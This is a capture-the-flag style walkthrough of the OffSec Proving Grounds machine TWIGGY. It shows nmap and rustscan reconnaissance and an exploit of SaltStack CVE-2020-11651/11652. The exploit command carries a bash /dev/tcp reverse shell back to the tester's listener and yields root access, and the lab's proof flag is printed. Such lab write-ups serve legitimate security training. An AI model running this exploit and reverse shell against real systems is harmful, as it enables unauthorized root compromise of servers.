Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - TWIGGY

·1211 words·6 mins·
OSCP OFFSEC PG PRACTICE PYTHON VENV SALTSTACK
 Author
Table of Contents

Summary
#

On port 8000 the is an application running called SaltStack for which CVE-2020-11651 and CVE-2020-11652 Remote Code Excution exploits are available when run we can execute commands as the root user. Using this exploit we get a reverse shell as the root user.

Specifications
#

  • Name: TWIGGY
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Easy
  • OS: Linux twiggy 3.10.0-1127.8.2.el7.x86_64 #1 SMP Tue May 12 16:57:42 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.134.62
  • OFFSEC provided credentials: None
  • HASH: local.txt: None
  • HASH: proof.txt:a52f9f2ebaf14af424bceb14608e79b6

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir twiggy && cd twiggy && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Aug 16 10:05 .
drwxrwxr-x 27 kali kali 4096 Aug 16 10:05 ..
drwxrwxr-x  2 kali kali 4096 Aug 16 10:05 enum
drwxrwxr-x  2 kali kali 4096 Aug 16 10:05 exploits
drwxrwxr-x  2 kali kali 4096 Aug 16 10:05 files
drwxrwxr-x  2 kali kali 4096 Aug 16 10:05 tools
drwxrwxr-x  2 kali kali 4096 Aug 16 10:05 uploads

## set bash variable
ip=192.168.134.62

## ping target to check if it's online
ping $ip

PING 192.168.134.62 (192.168.134.62) 56(84) bytes of data.
64 bytes from 192.168.134.62: icmp_seq=1 ttl=61 time=17.9 ms
64 bytes from 192.168.134.62: icmp_seq=2 ttl=61 time=18.3 ms
^C
--- 192.168.134.62 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 17.874/18.100/18.327/0.226 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
I scanned my computer so many times, it thinks we're dating.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.134.62:22
Open 192.168.134.62:53
Open 192.168.134.62:80
Open 192.168.134.62:4505
Open 192.168.134.62:4506
Open 192.168.134.62:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 10:23 CEST
Initiating Ping Scan at 10:23
Scanning 192.168.134.62 [4 ports]
Completed Ping Scan at 10:23, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:23
Completed Parallel DNS resolution of 1 host. at 10:23, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 10:23
Scanning 192.168.134.62 [6 ports]
Discovered open port 22/tcp on 192.168.134.62
Discovered open port 80/tcp on 192.168.134.62
Discovered open port 53/tcp on 192.168.134.62
Discovered open port 8000/tcp on 192.168.134.62
Discovered open port 4506/tcp on 192.168.134.62
Discovered open port 4505/tcp on 192.168.134.62
Completed SYN Stealth Scan at 10:23, 0.05s elapsed (6 total ports)
Nmap scan report for 192.168.134.62
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-08-16 10:23:06 CEST for 0s

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 61
53/tcp   open  domain   syn-ack ttl 61
80/tcp   open  http     syn-ack ttl 61
4505/tcp open  unknown  syn-ack ttl 61
4506/tcp open  unknown  syn-ack ttl 61
8000/tcp open  http-alt syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
           Raw packets sent: 10 (416B) | Rcvd: 7 (292B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh      syn-ack ttl 61
53/tcp   open  domain   syn-ack ttl 61
80/tcp   open  http     syn-ack ttl 61
4505/tcp open  unknown  syn-ack ttl 61
4506/tcp open  unknown  syn-ack ttl 61
8000/tcp open  http-alt syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,53,80,4505,4506,8000

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,53,80,4505,4506,8000 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZz8rKSxgnT5mqHeBPqGlXFj2JJdq21roV/2M8/+0F5/5D1XsaXmbktDpKILFdBcYnLtPxWstxPq+FTbWAJad2uk3BPYWRxidK2dOozE5rKLCyxtkEqs/lO09pM6VKQUi83y5wMwI+9Akkir0AMruuFUSpeCIBt/L98g8OYxzyTsylQATnPxJrrQOWGUQYAvX6jIs25n6d3rmbXk/crg1ZfAVFEHEeR9Y6Bjc2o5YWjMp3XbOZyC4yYseoM6eH2yCSDwu1DzPYrU6cNMfxBf863w1uyhiFk3eIb5jud3kfoxIq6t5JU2DXNhEd4rdXuuinZUSxWiCpHLZ1FCi4tkX5
|   256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA1gj1q7mOswnou9RvKwuX8S7WFBhz2NlaSIpYPQmM0I/vqb4T459PgJcMaJOE+WmPiMnDSFsyV3C6YszM754Hc=
|   256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzTSyInONbcDxdYULbDvI/HyrQm9m9M5b6Z825jnBEF
53/tcp   open  domain  syn-ack ttl 61 NLnet Labs NSD
80/tcp   open  http    syn-ack ttl 61 nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-favicon: Unknown favicon MD5: 11FB4799192313DD5474A343D9CC0A17
|_http-title: Home | Mezzanine
4505/tcp open  zmtp    syn-ack ttl 61 ZeroMQ ZMTP 2.0
4506/tcp open  zmtp    syn-ack ttl 61 ZeroMQ ZMTP 2.0
8000/tcp open  http    syn-ack ttl 61 nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json).
|_http-open-proxy: Proxy might be redirecting requests

Initial Access
#

8000/tcp open  http    syn-ack ttl 61 nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json).
|_http-open-proxy: Proxy might be redirecting requests

On port 8000 we see there is a response, click on the Headers tab and we see there is a X-Upstream header called salt-api/3000-1.

Searching for an exploit on the internet we find CVE-2020-11651 and CVE-2020-11652 RCE (https://github.com/jasperla/CVE-2020-11651-poc). This exploit should allow us to execute commands as root. For us to be able to run this exploit we need to install some python packages and setup a virtual environment to keep our own environment clean. So let’s do that and run the exploit to get a reverse shell as the root user.

## setup a python virtual environment called `venv`
python3 -m venv venv

## activate the virtual environment
source venv/bin/activate

## install required packages
pip3 install salt pyyaml looseversion packaging tornado msgpack distro jinja2 zmq

## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::49e8:fd58:a665:308/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup a listener on a known open port
nc -lvnp 80
listening on [any] 80 ...

## run the exploit to get a reverse shell as the `root` user
python3 exploit.py --master $ip --exec "bash -i >& /dev/tcp/192.168.45.204/80 0>&1"

## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.134.62] 52570
bash: no job control in this shell
[root@twiggy root]# 

## print `proof.txt`
[root@twiggy root]# cat /root/proof.txt
a52f9f2ebaf14af424bceb14608e79b6

References
#

[+]

Related

OFFSEC - Proving Grounds - SCRUTINY
·2633 words·13 mins
OSCP OFFSEC PG PRACTICE VHOST JOHN SSH2JOHN TEAMCITY
Initial access via OFFSEC credentials or TeamCity CVE-2024-27198 exploit, get id_rsa key for marcot and password of multiple users. Briand runs /usr/bin/systemctl as root, escalate to root using GTFOBins.
OFFSEC - Proving Grounds - WORKAHOLIC
·2802 words·14 mins
OSCP OFFSEC PG PRACTICE WPPROBE SQLMAP HASHCAT FTP STRACE GCC
Use OFFSEC creds or scan Wordpress. Exploit a Wordpress vulnerability (CVE-2024-9796), crack hashes for charlie/ted. FTP as ted and SSH in as charlie. Escalate to root via SUID binary with custom shared object.
OFFSEC - Proving Grounds - CLUE
·2651 words·13 mins
OSCP OFFSEC PG PRACTICE CASSANDRA WEB FREESWITCH
Remote file read on Cassandra Web (port 3000) exposes cassie credentials. RCE via FreeSwitch (8021). As cassie, run cassandra-web as root, get a RSA key and login as root.
OFFSEC - Proving Grounds - EXTPLORER
·2183 words·11 mins
OSCP OFFSEC PG PRACTICE EXTPLORER HASHCAT GROUP_DISK
eXtplorer application on port 80 with weak credentials which allows PHP reverse shell. As www-data, we can’t read local.txt. Crack dora’s hash, switch to dora in disk group, read proof.txt.
OFFSEC - Proving Grounds - FLU
·2189 words·11 mins
OSCP OFFSEC PG PRACTICE CONFLUENCE PSPY
Atlassian Confluence 7.13.6 on port 8090 has CVE-2022-26134 exploit for initial access. Add reverse shell to script for root privileges.
OFFSEC - Proving Grounds - PRESS
·1465 words·7 mins
OSCP OFFSEC PG PRACTICE MAGIC BYTE
FlatPress on port 8089 allows login with weak credentials, PHP reverse shell upload via GIF magic byte, and privilege escalation to root using sudo apt-get.